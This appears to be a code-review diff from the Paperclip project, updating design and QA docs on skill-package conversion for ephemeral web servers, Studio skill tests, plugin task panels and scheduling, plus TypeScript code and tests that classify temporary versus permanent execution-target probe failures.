rollback, drain/resume, competing connections, busy locks, restart eligibility,
|
||||
active hours/rate/budget gates, multiple companies, budget-owned company resume,
|
||||
ignored activity, document/comment membership, relative query expiry including
|
||||
an off-page candidate, failed assignment cleanup/manual retry and the persisted
|
||||
five-minute internal-failure retry across restart/drain.
|
||||
|
||||
Shared coordinator regressions also cover warm standby, ambiguous transaction
|
||||
intent, failure entering drain and different domain/coordinator gates. The paused
|
||||
worker releases only settled holds and retains a future in-memory resume wake.
|
||||
An expired saved deadline cannot schedule an immediate skipped-attempt loop.
|
||||
Existing startup, status-card, company-search, execution and monitor suites cover
|
||||
the production wiring and unchanged consumers. Exact commands and results belong
|
||||
in the PR verification record; this document does not claim deployed savings.
|
||||
|
||||
### Review corrections: pool capacity and restart deadline ownership
|
||||
|
||||
Scheduled evaluation holds its advisory transaction on `withDedicatedDbConnection`,
|
||||
not on the ordinary write pool. The helper ends that physical connection in
|
||||
`finally`, including contention and failed evaluation. Its lock still spans the
|
||||
actual refresh settlement. Summary writeback runs watched-query reads on its
|
||||
existing transaction, so a one-connection main pool completes the full flow.
|
||||
|
||||
Migration0419 adds nullable internal `next_eval_reason` to the existing card row.
|
||||
Membership deadlines may be reconstructed at startup after a committed source
|
||||
hint was lost. Policy eligibility and the atomically recorded five-minute retry
|
||||
lease retain their saved deadline. Explicit refresh deadlines remain due work.
|
||||
The HTTP card response removes this internal provenance; the public schema stays
|
||||
unchanged.
|
||||
|
||||
For legacy rows, a pending change hash preserves policy eligibility. An untagged
|
||||
active deadline farther than five minutes away cannot be an outstanding
|
||||
five-minute claim, so startup rechecks it. An ambiguous untagged deadline within
|
||||
five minutes keeps its remaining time without extension. This bounds migration
|
||||
compatibility delay while preserving prior crash/failure recovery. After the
|
||||
first successful evaluation all newly saved deadlines have explicit ownership.
|
||||
No recurring compatibility scan is added.
|
||||
|
||||
Source notifications use the shared deadline helper's fixed one-second batching
|
||||
window. The first hint after idle can reconcile immediately. Later hints merge
|
||||
by company until that window ends. The window does not slide with each new
|
||||
write, so a sustained source stream cannot postpone reconciliation forever.
|
||||
One second keeps reactive cards prompt (the removed heartbeat default was 30s)
|
||||
and bounds burst SQL. No minimum spacing is set: an already-known policy,
|
||||
expiry, or retry deadline can preempt batching. The window alone creates no
|
||||
scheduled work after settlement. Real issue/comment producer acceptance measures
|
||||
due/next queries and actual searches under 100 writes, preserves both companies'
|
||||
hints, dispatches another company's saved deadline inside the batching window,
|
||||
and checks SQL quietness after authorized results.
|
||||
@@ -222,6 +222,16 @@ Core permits read-only suspension proof for the exact saved identity of a
|
||||
successful warm run after its reuse lease is retained or superseded. This does
|
||||
not authorize new work or file access through that lease.
|
||||
Temporary credential homes are not needed after the originating run ends.
|
||||
An explicit reset to a different normalized session can retire a warm owner
|
||||
whose close failed only because it could not prove checkpoint suspension. Core
|
||||
requires the exact lease-bound task's `executionStopped: true` receipt, a
|
||||
successful `complete` handoff, and settled Core tool results first. It then
|
||||
collects stopped instruction files before it releases the in-memory owner. The old checkpoint remains evidence;
|
||||
it is not reused by the new session. A failed handoff, failed file collection,
|
||||
unsettled Core tool result, other close error, or continuation of the same
|
||||
session still blocks replacement.
|
||||
A controller restart is not required for this stopped-owner reset path.
|
||||
|
||||
Termination receipts cover all run leases that owned the retired physical task.
|
||||
A stopped task gets a new provider task ID for checkpoint resumption. Inspection
|
||||
precedes in-memory session selection so a replacement cannot inherit the stopped
|
||||
|
||||
@@ -409,12 +409,12 @@ export interface PaperclipPluginManifestV1 {
|
||||
exportName: string;
|
||||
/** For detailTab: which entity types this tab appears on */
|
||||
entityTypes?: Array<"project" | "issue" | "agent" | "goal" | "run">;
|
||||
/** Optional agent detail tab mirrored beside a running task.
|
||||
* Declared board GET route scoped to agent :entityId returns { available: boolean }.
|
||||
/** Optional agent detail tab offered beside a task for manual selection.
|
||||
* Declared board GET route scoped to agent :entityId controls readiness for automatic opening.
|
||||
*/
|
||||
taskSidePanel?: {
|
||||
availabilityPath: string;
|
||||
/** Match runtime.activity.recorded; absent mappings add no task panel. */
|
||||
/** Match runtime.activity.recorded for automatic opening; manual views need no mapping. */
|
||||
activation?: { namespace: string; activityKey: string };
|
||||
};
|
||||
/** For page and companySettingsPage: single route segment */
|
||||
|
||||
@@ -0,0 +1,180 @@
|
||||
# Skills on ephemeral web servers
|
||||
|
||||
The skills guarantee is replacement of A by B, and then C, with empty web-server
|
||||
homes and the same database, object storage, secrets and supported application
|
||||
artifacts. Disk remains useful for scratch archives, verified caches and transport
|
||||
staging. It does not own acknowledged managed edits or installed version selection.
|
||||
This guarantee does not qualify instructions, workspaces, controller state, run
|
||||
logs, traffic switching or readiness/draining for volume removal.
|
||||
|
||||
## Ownership and publication
|
||||
|
||||
`managed` is Paperclip ownership. Its locator is null; editability does not depend
|
||||
on a directory's position beneath a managed root. Existing policies normalize it
|
||||
to `workspace`, the policy category previously used by managed local skills.
|
||||
Repository provenance and tracking remain separate from installed content. Forks
|
||||
and disconnected editable copies retain source access and cannot publish restricted
|
||||
content through a public source category.
|
||||
|
||||
`managed-skill-content.ts` reads immutable version inventories, prepares candidates,
|
||||
and publishes them against a captured head. Package upload and verification happen
|
||||
before the final database transaction. That transaction rechecks identity/access,
|
||||
locks names in sorted order, locks the skill, verifies the base, and publishes the
|
||||
version, head, projections and applicable mutation audit/receipt. Publication races
|
||||
return `409`; clients must reconcile instead of automatically rebasing. Complete
|
||||
inline versions remain the compatibility fallback when external writes are disabled;
|
||||
they never depend on an installed directory. Normal cloud qualification uses remote
|
||||
object storage.
|
||||
|
||||
The initial create response, including its original version, can be replayed after
|
||||
a lost response and subsequent edits. Its durable API receipt retains the response
|
||||
projection without Markdown; the immutable version supplies the body. Receipts
|
||||
remain scoped to company, actor and operation context. A deleted skill's receipt
|
||||
fails explicitly rather than creating another identity.
|
||||
|
||||
`skill-execution-content.ts` owns temporary materialization. Heartbeat preparation
|
||||
selects authorized immutable versions, saves the selection (including an empty
|
||||
selection), and only then materializes admitted entries while retaining the existing
|
||||
retention lock. A renamed skill is recovered through the version's stable skill ID.
|
||||
Native recovery resolves the version, reconstructs its v1 projection and requires
|
||||
the admitted digest, manifest digest, file count and byte count to match. Adjacent
|
||||
compatible releases must preserve that projection contract.
|
||||
|
||||
Studio tests deliver the selected saved version through the same native Runner
|
||||
path, even without a permanent agent assignment. Their `skill_test` mode remains
|
||||
explicit in the execution input. The durable test row replaces ordinary agent
|
||||
assignments with its exact version, independently of the Beta skills preference;
|
||||
required environment skills remain subject to their existing policy. A shadowed
|
||||
or inaccessible test skill fails preparation. Preconfigured Runner homes cannot
|
||||
receive this managed delivery, so Studio requires an isolated home. Task-bound
|
||||
credentials and native authorization
|
||||
retain the admitted scope through restart and task-mode edits. Native tools expose
|
||||
only the harness task and admitted skills; company browsing, task creation,
|
||||
connectors and assigned MCP tools are unavailable. A rollback image must understand
|
||||
that mode to continue an active Studio test. Settle tests before rolling back to an
|
||||
earlier image that rejects it.
|
||||
|
||||
Native task completion publishes the Studio result and output snapshot in the
|
||||
same transaction as its status decision. Replaying a committed decision cannot
|
||||
recapture later document edits or duplicate completion activity. A successful
|
||||
provider turn alone does not complete a test whose task remains unfinished.
|
||||
|
||||
Bundled release snapshots remain immutable. Reconciliation preserves an installed
|
||||
head; an older process must never promote its shipped bytes over another installed
|
||||
version. The shipped release history remains independently selectable. Linked-local
|
||||
skills retain mutable source behavior and are explicitly excluded from cloud readiness.
|
||||
|
||||
## One-time conversion
|
||||
|
||||
First deploy compatible readers and shared/API types. Preserve the old volume and
|
||||
keep legacy writers until the final supported contents can be captured. Automatic
|
||||
JSONB package migration is separate from installation conversion; passing one does
|
||||
not prove the other is finished.
|
||||
|
||||
Run the existing bounded CLI with the target's explicit database and storage config:
|
||||
|
||||
```sh
|
||||
pnpm --filter @paperclipai/server exec tsx scripts/migrate-skill-packages.ts --phase=eligibility --company=<uuid> --limit=10
|
||||
pnpm --filter @paperclipai/server exec tsx scripts/migrate-skill-packages.ts --phase=installations --company=<uuid> --limit=10
|
||||
```
|
||||
|
||||
These commands return a cursor. Continue each phase with `--after=<uuid>` until an
|
||||
empty batch. Eligibility is a metadata-only report, not a storage verification claim.
|
||||
Installation preview inspects candidate legacy contents without publishing them.
|
||||
For remote legacy imports it can acquire their exact pinned source; it must never
|
||||
use the latest branch as a replacement for missing installed content.
|
||||
|
||||
1. Inventory all companies and source kinds. Identify missing versions, incomplete
|
||||
inventory, local storage receipts, catalog reset snapshots and unresolved runs.
|
||||
2. Backfill legacy package/version bodies with the existing `snapshots` and
|
||||
`versions` phases. The latter also fills missing version metadata indexes so
|
||||
subsequent library/history reads need no object downloads. Keep original bytes
|
||||
until independent verification succeeds.
|
||||
3. Stop admission and skill/source writers; retire every filesystem-authoritative
|
||||
process. The `--writers-stopped` flag attests this operator action; it does not
|
||||
stop the application itself.
|
||||
4. Apply final installation conversion on the host with the legacy files:
|
||||
|
||||
```sh
|
||||
pnpm --filter @paperclipai/server exec tsx scripts/migrate-skill-packages.ts --phase=installations --company=<uuid> --limit=10 --apply --writers-stopped
|
||||
```
|
||||
|
||||
5. Sweep `eligibility` and `verification`, including all historical versions. The
|
||||
latter verifies object bytes independently of caches. Follow all cursors; a
|
||||
successful first batch is not a complete readiness report.
|
||||
6. Start a compatible server with a fresh home and test list, file read, authoring,
|
||||
history and exact selected execution before reopening normal admission.
|
||||
|
||||
Managed conversion preserves skill IDs, keys, history, assignments, pins and access
|
||||
provenance. Identical complete snapshots reuse their version IDs. Catalog conversion
|
||||
preserves the original reset version as well as installed content. A missing legacy
|
||||
directory can use a complete verified saved version. A partial Markdown-only rescue,
|
||||
unknown revision, unsafe source tree or active legacy selection without exact version
|
||||
identity is a blocker. Settle or snapshot such runs while A is still available; do
|
||||
not cancel them simply to pass preflight.
|
||||
|
||||
Report statuses distinguish linked-local sources, legacy managed/catalog records,
|
||||
missing current versions, unknown active-run selections, missing/corrupt packages,
|
||||
local storage and provider mismatch. Expired unused Git history keeps its existing
|
||||
30-day/exact-commit policy. Current, pinned, authored and recovering versions need
|
||||
independent durable content. `local_storage` is supported self-hosted durability;
|
||||
it does not satisfy remote empty-disk recovery.
|
||||
|
||||
## Storage and rollback
|
||||
|
||||
Cloud readiness requires external Postgres and remote object storage. Migrate and
|
||||
verify existing local-disk objects before changing provider/bucket configuration;
|
||||
changing configuration alone does not copy receipts or objects. Keep the old provider
|
||||
available until a provider migration has copied and independently verified every
|
||||
referenced object and atomically updated its storage receipt. This command does not
|
||||
perform provider migration: `local_storage` and `provider_mismatch` are blocking
|
||||
results for cloud qualification, not instructions to switch configuration and retry.
|
||||
A directory of extracted caches is never a durable object backend.
|
||||
|
||||
The maintenance CLI reads the existing storage configuration directly so it can
|
||||
verify legacy local-disk objects before cutover. On Cloud it still requires the
|
||||
persisted runtime configuration and never seeds or changes that configuration.
|
||||
This maintenance boundary does not start a server or relax Cloud server startup
|
||||
requirements for external PostgreSQL, shared object storage and a stable secret
|
||||
key. Apply operations retain their existing stopped-writer gates.
|
||||
|
||||
Conversion establishes the rollback floor. Afterward only compatible version-reading
|
||||
binaries may overlap or be rolled back against the same remote state. Reattaching an
|
||||
old volume does not roll back committed content. Filesystem-authoritative binaries
|
||||
require an explicit reverse migration and are unsupported rollback targets.
|
||||
A routine compatible A → B upgrade needs no skills conversion or filesystem copy.
|
||||
|
||||
A current version ID alone does not establish conversion completeness. Eligibility
|
||||
and independent verification compare its file inventory with the installed record
|
||||
and report `incomplete_current_version` when supporting files are missing. Installation
|
||||
conversion can reacquire a complete exact pinned source; unavailable or unpinned
|
||||
sources remain blockers. Historical versions are not compared with newer installed
|
||||
inventories, since later revisions may legitimately add files.
|
||||
|
||||
## Qualification
|
||||
|
||||
The focused service suite covers publication rollback/conflict, supporting and binary
|
||||
files, executable modes, restore/fork/rename, active-run deletion protection and legacy
|
||||
conversion. The opt-in process suite starts independent Node servers with one database
|
||||
connection each, exercises real HTTP routes and object storage, removes predecessor
|
||||
homes and executes a delivered harmless script. It also injects a lost response, failed
|
||||
upload and process death during upload. It is a skills-router qualification, not a
|
||||
full hosted Runner or whole-application deployment claim.
|
||||
|
||||
Use owned disposable Postgres and S3-compatible fixtures. The optional admin URL
|
||||
creates a random database per test suite and never migrates the database named in
|
||||
that URL. The S3 test creates and removes its own random bucket. Supply test-only AWS
|
||||
credentials through the environment:
|
||||
|
||||
```sh
|
||||
PAPERCLIP_TEST_POSTGRES_ADMIN_URL=<disposable-postgres-url> \
|
||||
PAPERCLIP_TEST_S3_ENDPOINT=<disposable-s3-endpoint> \
|
||||
pnpm exec vitest run server/src/__tests__/ephemeral-skills-process.test.ts
|
||||
```
|
||||
|
||||
Record revision, fixture image digests, version IDs, cache/object reads, cold/warm
|
||||
timings and useful output. These local timings do not establish hosted latency.
|
||||
Separately qualify one disposable staging tenant and a real remote Runner, including
|
||||
an explicit repository import, historical pin, fresh-home replacements, compatible
|
||||
rollback and recovery without predecessor paths. Publish the observed evidence with
|
||||
the PR; a passing local suite is not that staging evidence.
|
||||
@@ -7,7 +7,26 @@ The original repository tree, wrappers, binary bytes and executable flags retain
|
||||
their existing behavior. New Git packages also retain an immutable restore recipe;
|
||||
locally authored/edited packages and unproven legacy packages keep a durable copy.
|
||||
|
||||
## Automatic upgrade
|
||||
## Installed content authority
|
||||
|
||||
Paperclip-owned skills use `sourceType: managed`, `sourceLocator: null`, and an
|
||||
immutable `currentVersionId`. Creation, edits, deletion of files, forks and restores
|
||||
prepare verified packages before a short transaction publishes the version, head,
|
||||
metadata and audit. A competing head returns `409`; it never overwrites another
|
||||
writer's files. Acknowledged saves survive cache loss. Studio submits the version it
|
||||
read and preserves unsaved text on a conflict.
|
||||
|
||||
Repository and catalog installations also read committed versions. Runtime selection
|
||||
persists version pins before delivery materializes files. Recovery uses the pinned
|
||||
version and checks its reconstructed v1 asset digest; a previous server's `rootPath`
|
||||
is not proof of availability. Active or recovering run pins block whole-skill deletion,
|
||||
even after the agent assignment is detached. Explicit linked-local sources retain
|
||||
their local filesystem behavior and are outside this replacement guarantee.
|
||||
|
||||
See [ephemeral web-server operation](skill-ephemeral-web-servers.md) for the one-time
|
||||
installation conversion, rollback boundary and qualification procedure.
|
||||
|
||||
## Automatic package upgrade
|
||||
|
||||
No data-migration command is required. The normal schema upgrade applies migration
|
||||
0415 (`0415_zippy_zemo.sql`). External writes and automatic conversion are enabled by default. Startup
|
||||
@@ -31,20 +50,30 @@ reader is the rollback floor; an older binary needs rehydrated database contents
|
||||
Use durable, backed-up local storage or S3-compatible storage for authored packages.
|
||||
The extracted cache is not that storage backend.
|
||||
|
||||
Deleting an editable file or folder keeps a temporary copy outside the skill until
|
||||
the transaction commits. Upload or database failures restore the original subtree,
|
||||
including binary files, permissions, empty folders and files omitted from inventory.
|
||||
Successful deletions remove the temporary copy; historical versions retain their
|
||||
existing package bytes. If the commit reply is lost, recovery checks the saved
|
||||
version under the mutation lock before restoring. A committed deletion stays
|
||||
deleted. If the database is unavailable or the skill has since changed, recovery
|
||||
preserves the backup and logs its location instead of overwriting newer work.
|
||||
Managed file and folder deletion publishes a new inventory. It requires no local
|
||||
rollback copy. Unused uploads follow the existing orphan/deletion machinery; a
|
||||
post-commit cache or notification failure cannot undo a committed save. Only the
|
||||
explicit linked-local compatibility adapter retains filesystem rollback handling.
|
||||
|
||||
Create idempotency receipts retain the original response projection and immutable
|
||||
version identity in `company_skill_mutation_receipts`; file-save receipts keep their
|
||||
existing activity receipt shape. Retries reauthorize access. Deleted identities do
|
||||
not transfer their receipts to a skill recreated with the same name. Skill bodies
|
||||
remain in packages/versions rather than activity logs.
|
||||
|
||||
The optional `server/scripts/migrate-skill-packages.ts` command remains available for
|
||||
diagnostics and controlled batches. It defaults to dry run, supports
|
||||
`--phase=snapshots|versions|orphans|deletions`, `--company=<uuid>`, `--limit=1..50`,
|
||||
`--phase=snapshots|versions|orphans|deletions|installations|eligibility|verification`, `--company=<uuid>`, `--limit=1..50`,
|
||||
`--after=<uuid>`, `--apply` and `--clear-legacy`. It is not part of normal installation
|
||||
or upgrade. Never point it at another instance's database/storage configuration.
|
||||
or compatible routine upgrade. The installations phase is the one-time legacy
|
||||
conversion boundary described in the linked runbook. Never point it at another instance's database/storage configuration.
|
||||
|
||||
New package-backed versions retain their complete path/kind/encoding index in
|
||||
`package_file_map`, including identity mappings. Library and version listing read
|
||||
this metadata without downloading manifests or archives. The bounded `versions`
|
||||
phase also backfills older null indexes from verified manifests without changing
|
||||
version IDs or content; include that phase in legacy conversion. Old null indexes
|
||||
remain readable during conversion, with a cold manifest read when needed.
|
||||
|
||||
## Acquisition and retention
|
||||
|
||||
@@ -83,8 +112,11 @@ Package/version publication and deletion use transaction-aware work notification
|
||||
local asset use signals its filesystem worker. Both reuse the delivery coordinator,
|
||||
restore deadlines on startup, pause in drain/standby, and stop on shutdown. With no
|
||||
pending conversion, retry, or eligible cache deadline they perform no recurring work.
|
||||
The supported live writer is the owning server; independent SQL writers/other servers
|
||||
need restart reconstruction or an explicit wake. No permanent DB listener is added.
|
||||
Compatible servers resolve the durable head on each content operation and use
|
||||
transactional publication checks. Content correctness needs no process-local
|
||||
invalidation. Maintenance wake delivery across instances remains owned by the
|
||||
delivery coordinator; startup reconstructs pending deadlines. No permanent
|
||||
skills-specific DB listener is added.
|
||||
Conversion retains authoritative legacy bytes until verification succeeds. Conversion
|
||||
retries and cache/deletion dates are optional maintenance eligibility; they may wait
|
||||
until the next ingress wake, including with package storage disabled. They do not
|
||||
|
||||
@@ -270,6 +270,10 @@ Policy: Agent creation/configuration uses action grants, resource policies and c
|
||||
consent; some controls require a board actor.
|
||||
Permanent deletion is board-only. Retained case handoff references return
|
||||
`409 agent_case_history_retained` before dependency cleanup; keep the agent terminated.
|
||||
Failed configuration verification waits for a changed execution configuration
|
||||
or an authorized explicit retry. That wait does not grant an agent permission
|
||||
to retry itself, resume execution, or change configuration. Temporary verification
|
||||
outages retain automatic recovery.
|
||||
|
||||
Evidence: `source-only` — [implementation](../../server/src/routes/agents.ts#L1395) at
|
||||
the reviewed commit above.
|
||||
|
||||
@@ -29,6 +29,15 @@ covers separate actors and revoked project access; the
|
||||
[package regression](../../server/src/__tests__/skill-package-store.test.ts) covers
|
||||
company isolation and warm-cache behavior. This does not claim live agent qualification.
|
||||
|
||||
Managed ownership remains in the existing `workspace` policy category. Immutable
|
||||
content references do not grant authority: publication rechecks policy and source
|
||||
access, and delivery/recovery rechecks the company's skill visibility. File reads
|
||||
and mutations return `versionId`; content requests may supply `expectedVersionId`
|
||||
and receive `409` on a stale base. Existing idempotent agent receipt shapes remain.
|
||||
Detached assignments do not release active/recovering execution pins. These are
|
||||
source-reviewed contracts; the independent-process board fixture is not agent
|
||||
credential or hosted Runner qualification.
|
||||
|
||||
## `discovery`
|
||||
|
||||
Capability ID: `skills/discovery`.
|
||||
@@ -210,6 +219,20 @@ Gaps: No dedicated native orchestration binding; generic REST calls retain
|
||||
skills.test policy, task-assignment authorization, responsible-user intersection and
|
||||
admitted skill-test JWT scope.
|
||||
|
||||
Studio's `skill_test` work mode is admitted through native Runner selection and
|
||||
preserved in execution input. The admitted task-bound scope restricts REST and
|
||||
native authorization, including after task-mode edits and recovery. Native tools
|
||||
allow only the harness task and admitted skills. Task creation, company browsing,
|
||||
connectors and assigned MCP tools are unavailable; native mutation receipts recheck
|
||||
the scope before replay or effects.
|
||||
Preparation reads the pinned version from the durable test row, replaces ordinary
|
||||
assignments, and enforces current skill access. Required environment skills retain
|
||||
their owner policy; a shadowed test pin fails explicitly. Recovery preserves the
|
||||
admitted selection. Preconfigured Runner homes reject managed Studio delivery.
|
||||
The [execution configuration regression](../../server/src/__tests__/heartbeat-execution-configuration.test.ts)
|
||||
covers unassigned historical pins, Beta skills disabled, revoked access, recovery,
|
||||
unchanged agent assignments, and assembled heartbeat dispatch.
|
||||
|
||||
Project-source API additions: GET `/api/companies/{companyId}/skill-sources/project-repositories`,
|
||||
POST `/api/companies/{companyId}/skill-sources/adopt-project` with `workspaceId`, and
|
||||
PATCH `/api/companies/{companyId}/skill-sources/{sourceId}/settings` with expected revision
|
||||
|
||||
@@ -215,7 +215,9 @@ Manual: Save a harmless instruction edit, reload, and verify its revision and ef
|
||||
|
||||
For failed setup, use an unavailable model or invalid command on a disposable agent.
|
||||
Confirm the profile names the failed verification step and gives a relevant action.
|
||||
Check that it explains automatic retry and offers **Retry now**. Fix the configuration,
|
||||
Check that a failed configuration test explains that automatic verification is paused
|
||||
and offers **Retry now**. Repeated refreshes must not start another test. Timeouts
|
||||
and temporary test-environment failures still retry automatically. Fix the configuration,
|
||||
retry, and reload; the failure must disappear only after readiness commits.
|
||||
Provider output and credentials must not appear in the lifecycle message.
|
||||
|
||||
|
||||
@@ -55,6 +55,14 @@ Automated: [Studio](../../ui/src/pages/SkillStudio.test.tsx) covers UI behavior;
|
||||
|
||||
Manual: Create or fork a disposable skill, edit instructions, save, and reload. Run a bounded test, respond to any question, and inspect the output. Verify the saved version matches what was tested and failed saves retain the draft.
|
||||
|
||||
For managed skills, open the same file in two Studio sessions. Save through one,
|
||||
then save the other's stale draft. It must receive a conflict, retain its text,
|
||||
and offer **Load latest saved file** with discard confirmation. File reads and
|
||||
mutation results identify the committed version. Managed content has no server
|
||||
source-directory repair flow. The [domain regression](../../server/src/__tests__/managed-skill-content.test.ts)
|
||||
and [process qualification](../../server/src/__tests__/ephemeral-skills-process.test.ts)
|
||||
cover fresh-home recovery; remote Runner staging remains a separate live proof.
|
||||
|
||||
Version history lists file metadata without downloading archives. Opening a diff
|
||||
fetches only its selected versions; restoring fetches the chosen version. The
|
||||
[library UI regression](../../ui/src/pages/CompanySkills.test.tsx) checks deferred
|
||||
@@ -152,6 +160,12 @@ Capability ID: `skills/testing`.
|
||||
Scope: ui
|
||||
Storybook: Studio test inputs/configuration, running, question/approval, result and failed test states.
|
||||
Production: Run bounded test of actual saved version with correct selected account/environment; inspect persisted test detail and eligible interaction response.
|
||||
Remote Runner selection accepts the Studio test work mode and preserves its
|
||||
restricted scope; live qualification must cover the saved version delivered to
|
||||
the selected Computer, including a skill with no permanent agent assignment.
|
||||
The [execution configuration regression](../../server/src/__tests__/heartbeat-execution-configuration.test.ts)
|
||||
checks that Studio's historical version replaces ordinary assignments without
|
||||
changing the agent's configuration. Use an isolated Runner home for this journey.
|
||||
Sources: Source: [SkillStudio.tsx](../../ui/src/pages/SkillStudio.tsx), [companySkills.ts](../../ui/src/api/companySkills.ts). Tests: [SkillStudio.test.tsx](../../ui/src/pages/SkillStudio.test.tsx), [company-skill-test-runs-service.test.ts](../../server/src/__tests__/company-skill-test-runs-service.test.ts)
|
||||
|
||||
### Documentation scope: Skills, Skill Studio, and teams
|
||||
|
||||
@@ -59,17 +59,19 @@ their execution, and uncertain prior executions must be reconciled before waking
|
||||
### Plugin task panels
|
||||
|
||||
An installed plugin can offer an agent detail tab in the task side panel through
|
||||
its optional `taskSidePanel` declaration. The host supplies the task's running
|
||||
agent and run. The runtime captures Runner context before use and records
|
||||
`runtime.activity.recorded` after success. Runner rejects stale contexts and knows
|
||||
no plugin or view identity. Core maps the recorded namespace/activity key to the
|
||||
panel's declared activation pair and restores it from the run log on reload or
|
||||
reconnect. Readiness gets three bounded attempts after matching activity, with
|
||||
no periodic availability poll. Declarations without a mapping add no task panel.
|
||||
The plugin's authorized availability route decides whether the panel is
|
||||
shown, and the plugin owns its label and viewer. No contribution appears for a
|
||||
missing plugin, inactive run, unavailable view or access failure. A closed panel
|
||||
can be reopened from the launcher while available.
|
||||
its optional `taskSidePanel` declaration. The launcher offers that view for the
|
||||
running agent, or the task's assigned agent when idle. Manual selection mounts
|
||||
the same authorized viewer used on the agent page and needs no activity event.
|
||||
The view remains selectable after the run ends.
|
||||
|
||||
A declared activation pair controls automatic opening. The runtime captures
|
||||
Runner context before use and records `runtime.activity.recorded` after success.
|
||||
Core maps that namespace/activity key to the declaration and restores it from
|
||||
the run log on reload or reconnect. After matching activity, readiness gets
|
||||
three bounded attempts with no periodic availability poll. A ready view opens
|
||||
the pane and selects its tab once per run, respecting dismissal during that run.
|
||||
Declarations without a mapping support manual selection. Plugins own viewer
|
||||
content, readiness, and authorization. Missing or disabled plugins add no view.
|
||||
|
||||
Implementation: [panel discovery](../../ui/src/hooks/useTaskPluginPanels.ts) and
|
||||
[task panel](../../ui/src/components/task-side-panel/TaskSidePanel.tsx).
|
||||
|
||||
@@ -8,6 +8,9 @@ import {
|
||||
prepareGitHubOperationLaunchers,
|
||||
adapterExecutionTargetUsesManagedHome,
|
||||
ensureAdapterExecutionTargetRuntimeCommandInstalled,
|
||||
ensureAdapterExecutionTargetDirectory,
|
||||
ensureAdapterExecutionTargetCommandResolvable,
|
||||
isAdapterExecutionTargetUnavailableError,
|
||||
resolveAdapterExecutionTargetCwd,
|
||||
runAdapterExecutionTargetProcess,
|
||||
runAdapterExecutionTargetShellCommand,
|
||||
@@ -32,6 +35,58 @@ function sshExecutionTarget(): AdapterSshExecutionTarget {
|
||||
};
|
||||
}
|
||||
|
||||
describe("execution target validation failures", () => {
|
||||
afterEach(() => vi.restoreAllMocks());
|
||||
const result = { exitCode: 0, signal: null, timedOut: false, stdout: "", stderr: "", pid: null, startedAt: "" };
|
||||
|
||||
it.each(["directory", "command"] as const)("preserves temporary %s probe failures", async check => {
|
||||
for (const failure of ["timeout", "transport", "interrupted"] as const) {
|
||||
const target = { kind: "remote" as const, transport: "sandbox" as const, remoteCwd: "/workspace", runner: {
|
||||
execute: vi.fn(async () => {
|
||||
if (failure === "transport") throw Object.assign(new Error("private transport detail"), { code: "ECONNRESET" });
|
||||
return { ...result, exitCode: null, timedOut: failure === "timeout", signal: failure === "interrupted" ? "SIGTERM" : null };
|
||||
}),
|
||||
} };
|
||||
const work = check === "directory"
|
||||
? ensureAdapterExecutionTargetDirectory("test", target, "/workspace", { cwd: "/workspace", env: {} })
|
||||
: ensureAdapterExecutionTargetCommandResolvable("opencode", target, "/workspace", {});
|
||||
const error = await work.catch(error => error);
|
||||
expect(isAdapterExecutionTargetUnavailableError(error)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("preserves SSH disconnections instead of reporting a missing directory", async () => {
|
||||
vi.spyOn(ssh, "runSshCommand").mockRejectedValue(Object.assign(new Error("private SSH detail"), { code: 255 }));
|
||||
const error = await ensureAdapterExecutionTargetDirectory("test", sshExecutionTarget(), "/workspace", {
|
||||
cwd: "/workspace", env: {},
|
||||
}).catch(error => error);
|
||||
expect(isAdapterExecutionTargetUnavailableError(error)).toBe(true);
|
||||
});
|
||||
|
||||
it.each(["directory", "command"] as const)("retains a confirmed missing %s as a configuration failure", async check => {
|
||||
const target = { kind: "remote" as const, transport: "sandbox" as const, remoteCwd: "/workspace", runner: {
|
||||
execute: vi.fn(async () => ({ ...result, exitCode: 1 })),
|
||||
} };
|
||||
const error = await (check === "directory"
|
||||
? ensureAdapterExecutionTargetDirectory("test", target, "/workspace", { cwd: "/workspace", env: {} })
|
||||
: ensureAdapterExecutionTargetCommandResolvable("opencode", target, "/workspace", {})).catch(error => error);
|
||||
expect(error).toBeInstanceOf(Error);
|
||||
expect(isAdapterExecutionTargetUnavailableError(error)).toBe(false);
|
||||
});
|
||||
|
||||
it("does not turn an installation timeout into a permanent missing command", async () => {
|
||||
const execute = vi.fn().mockResolvedValueOnce({ ...result, exitCode: 1 })
|
||||
.mockResolvedValueOnce({ ...result, exitCode: null, timedOut: true })
|
||||
.mockResolvedValueOnce({ ...result, exitCode: 1 });
|
||||
const target = { kind: "remote" as const, transport: "sandbox" as const, remoteCwd: "/workspace", runner: { execute } };
|
||||
const error = await ensureAdapterExecutionTargetCommandResolvable("opencode", target, "/workspace", {}, {
|
||||
installCommand: "install-fixture",
|
||||
}).catch(error => error);
|
||||
expect(execute).toHaveBeenCalledTimes(3);
|
||||
expect(isAdapterExecutionTargetUnavailableError(error)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("runAdapterExecutionTargetShellCommand", () => {
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
|
||||
@@ -735,23 +735,53 @@ export async function ensureAdapterExecutionTargetCommandResolvable(
|
||||
});
|
||||
}
|
||||
|
||||
function executionTargetCheckUnavailable(message: string, cause?: unknown): Error {
|
||||
return Object.assign(new Error(message, { cause }), { code: "adapter_execution_target_unavailable" });
|
||||
}
|
||||
|
||||
/** Preserve target failures before an adapter translates them into a failed check. */
|
||||
export function isAdapterExecutionTargetUnavailableError(error: unknown): boolean {
|
||||
return typeof error === "object" && error !== null && "code" in error
|
||||
&& error.code === "adapter_execution_target_unavailable";
|
||||
}
|
||||
|
||||
async function runRemoteExecutionTargetCheck(
|
||||
target: AdapterExecutionTarget,
|
||||
description: string,
|
||||
check: () => Promise<RunProcessResult>,
|
||||
): Promise<RunProcessResult> {
|
||||
let result: RunProcessResult;
|
||||
try {
|
||||
result = await check();
|
||||
} catch (error) {
|
||||
throw executionTargetCheckUnavailable(`Could not complete ${description}`, error);
|
||||
}
|
||||
if (result.timedOut || result.signal || result.exitCode === null
|
||||
|| (target.kind === "remote" && target.transport === "ssh" && result.exitCode === 255)) {
|
||||
throw executionTargetCheckUnavailable(`${result.timedOut ? "Timed out" : "Could not complete"} ${description}`);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
async function probeSandboxCommandResolvable(
|
||||
command: string,
|
||||
target: AdapterSandboxExecutionTarget,
|
||||
env: Record<string, string>,
|
||||
): Promise<{ resolved: boolean; timedOut: boolean; stderr: string }> {
|
||||
): Promise<{ resolved: boolean; stderr: string }> {
|
||||
const runner = requireSandboxRunner(target);
|
||||
